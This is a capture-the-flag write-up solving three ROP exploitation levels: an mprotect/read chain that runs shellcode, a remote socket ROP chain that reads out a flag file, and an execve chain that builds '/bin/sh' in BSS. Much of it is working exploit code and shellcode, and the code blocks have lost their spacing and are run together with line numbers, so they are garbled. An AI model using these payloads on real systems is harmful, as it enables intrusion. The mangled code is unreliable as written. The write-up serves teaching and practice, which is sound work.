Started, as usual, by fetching the number of characters needed to overflow the
name. The regular MSF pattern-create (or its alternatives like peda) approach
can be used. In this case consider that 44 bytes are needed to overflow.
The system(3) function doesn’t seem to be linked in the library. On purpose,
most likely. One can use the mprotect(2) system call to bypass the NX protection
(which isn’t allowed under PaX) on the stack by making a small portion of its
pages as executable and read a shellcode into that location from standard input.
The Python code below was used to create two additional (fake) stack frames:
1234567891011121314151617181920212223
#!/usr/bin/pythonfromstructimportpackoff=44mprotectaddr=pack("<L",0x080523e0)pop3=pack("<L",0x08048882)mprotectarg1=pack("<L",0xbffdf000)# Stack address.mprotectlen=pack("<L",0x100)# Address length.mprotectflgs=pack("<L",0x7)# PROT_READ|PROT_WRITE|PROT_EXECreadaddr=pack("<L",0x080517f0)readfd=pack("<L",0x0)# Read from standard input.readbuf=mprotectarg1readcnt=mprotectlenpayload="A"*offpayload+=mprotectaddr+pop3+mprotectarg1+mprotectlen+mprotectflgspayload+=readaddr+pop3+readfd+readbuf+readcntpayload+=readbuf# Jump to the marked stack area.printpayload
The (not encoded) shellcode was generated using msfvenom:
level0@rop:~$(python boom.py; python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80"'; cat)|/home/level0/level0
[+] ROP tutorial level0[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#!cat flagflag{rop_the_night_away}
level1
This first needs some code analysis to figure out where exactly the overflow
occurs. The issue here is that the (specified) file’s size (and therefore under
control) is also being used when reading its (path) name from the socket:
1234567891011121314151617181920212223242526
charfilename[32],cmd[32];chartext[256];intread_bytes,filesize;charstr_filesize[7];[...]/* Read the file size from the socket. */read(fd,&str_filesize,6);filesize=atoi(str_filesize);char*filebuf=malloc(filesize);<---------------------+|write_buf(fd," Please, send your file:\n\n");|write_buf(fd,"> ");|related|to/* Read the file of size filesize. */|read_bytes=read(fd,filebuf,filesize);<-------------+|[...]||write_buf(fd," Please, give a filename:\n");|notwrite_buf(fd,"> ");|related|to/* Read the file name from the socket. */|memset(filename,0,sizeof(filename));|read_bytes=read(fd,filename,filesize);<------------+
One can give a filesize of 128 bytes but provide a bigger filename (which is
fixed at 32 bytes of size). The read(2) call should have been:
Followed by the address of an unused and writable section in the ELF file that
can (data section has eight bytes only) and will hold the contents of the flag
file:
123456789
$ readelf -S level1|grep WA
[19] .init_array INIT_ARRAY 0804a2f8 0012f8 000004 00 WA 0 0 4[20] .fini_array FINI_ARRAY 0804a2fc 0012fc 000004 00 WA 0 0 4[21] .jcr PROGBITS 0804a300 001300 000004 00 WA 0 0 4[22] .dynamic DYNAMIC 0804a304 001304 0000f0 08 WA 7 0 4[23] .got PROGBITS 0804a3f4 0013f4 000004 04 WA 0 0 4[24] .got.plt PROGBITS 0804a3f8 0013f8 00006c 04 WA 0 0 4[25] .data PROGBITS 0804a464 001464 000008 00 WA 0 0 4[26] .bss NOBITS 0804a46c 00146c 000004 00 WA 0 0 4
0xf0 bytes is more than enough to hold the 53 bytes of the file. Since the
binary also has the flag character array (NUL terminated), its address can be
used, instead:
123
# if (strstr(filename, "flag")) <== This one here.$ objdump -s -j .rodata level1|grep flag8049128 666c6167 00000000 20205845 52584553 flag.... XERXES
#!/usr/bin/pythonfromsocketimport*fromstructimportpackoff=64pop2=pack("<L",0x08048ef7)pop3=pack("<L",0x08048ef6)openaddr=pack("<L",0x080486d0)# open@pltopenpath=pack("<L",0x08049128)# The flag string in the data section.openflgs=pack("<L",0x0)# O_RDONLY.readaddr=pack("<L",0x08048640)# read@pltreadfd=pack("<L",0x3)# Read from the newly created descriptor.readbuf=pack("<L",0x0804a304)# Read contents to the dynamic section.readcnt=pack("<L",0xf0)# Size of the dynamic ELF section.writeaddr=pack("<L",0x08048700)# write@pltwritefd=pack("<L",0x4)# Write to the original socket file descriptor.writebuf=readbufwritecnt=readcntpayload="A"*offpayload+=openaddr+pop2+openpath+openflgspayload+=readaddr+pop3+readfd+readbuf+readcntpayload+=writeaddr+"BOOM"+writefd+writebuf+writecnts=socket(AF_INET,SOCK_STREAM)s.connect(("192.168.56.101",8888))prints.recv(1024)# Banner.s.send("store")# The internal application command.prints.recv(1024)# How many bytes in your file?s.send("128")# Must be bigger than the 32 bytes of the filename.prints.recv(1024)# Please send your file (the contents).s.send("boom")prints.recv(1024)# Error treatment and filename.s.send(payload)prints.recv(1024)s.send("exit")# The internal application command.prints.recv(1024)# To get the contents of the flag file.s.close()
At last, called the above Python code to remotely extract the contents of the
file:
1234567891011121314151617181920
# python boom.py
Welcome to XERXES File Storage System available commands are: store, read, exit.> Please, how many bytes is your file?> Please, send your file:> XERXES regrets to inform you that an error occurred while receiving your file. Please, give a filename:> flag{just_one_rop_chain_a_day_keeps_the_doctor_away}
level2
The bad characters list should be enumerated by sending them in sequence, firing
up gdb and checking the stack values. For instance:
Then, it is a matter of choosing the correct gadgets by taking into account the
above bad characters. Decided by using the already present strcpy(3) function in
the binary and copy the /bin/sh character array (character by character) to the
BSS segment and using a gadget to store a NUL byte by zeroing the eax register
first and using a mov instruction.
Since this is running Linux x86, one can take advantage of the interrupt gadget
by moving into eax the execve system call number and into ebx the address of the
/bin/sh character array (which is in the BSS section).
#!/usr/bin/pythonfromstructimportpackoff=44badchars="\x00\x09\x0a\x20"# List of bad characters.bss=0x080cab40# The address of the BSS section.execvenb=11# System call execve number.# Functions.bssaddr=pack("<L",bss)strcpyaddr=pack("<L",0x08051160)# Gadgets.boom=pack("<L",0x41424344)# dummypop2=pack("<L",0x08048893)syscall=pack("<L",0x08052ba0)xoreax=pack("<L",0x0808d2cd)# xor eax,eax|pop ebp|retinceax=pack("<L",0x08083d82)# inc eax|retmovedx=pack("<L",0x08078e71)# mov dword ptr [edx],eax|retpopedx=pack("<L",0x08052476)popebx=pack("<L",0x0805249e)# Characters.slashaddr=pack("<L",0x08048483)baddr=pack("<L",0x0804b262)iaddr=pack("<L",0x0804a0ca)naddr=pack("<L",0x08048b65)saddr=pack("<L",0x08048110)haddr=pack("<L",0x08048113)payload="A"*offpayload+=strcpyaddr+pop2+pack("<L",bss+0)+slashaddr# /payload+=strcpyaddr+pop2+pack("<L",bss+1)+baddr# bpayload+=strcpyaddr+pop2+pack("<L",bss+2)+iaddr# ipayload+=strcpyaddr+pop2+pack("<L",bss+3)+naddr# npayload+=strcpyaddr+pop2+pack("<L",bss+4)+slashaddr# /payload+=strcpyaddr+pop2+pack("<L",bss+5)+saddr# spayload+=strcpyaddr+pop2+pack("<L",bss+6)+haddr# hpayload+=xoreax+boom# The xor gadget also pops.payload+=popedx+pack("<L",bss+7)# Put the address of BSS + 7.payload+=movedx# Store a NUL after the string.payload+=xoreax+boom# The xor gadget also pops.payload+=inceax*execvenb# eax = 11.payload+=popebx+bssaddr# ebx = "/bin/sh\0"payload+=syscallprintpayload
In conclusion, the execution of the SUID binary with the payload as an argument
to capture the flag:
1234567891011121314
level2@rop:~$ ./level2 `python boom.py`[+] ROP tutorial level2[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#@# ##A# b#B# #C# e#D# ##E# #F# DCBAvG# DCBA#@# #!# cat flag
flag{to_rop_or_not_to_rop}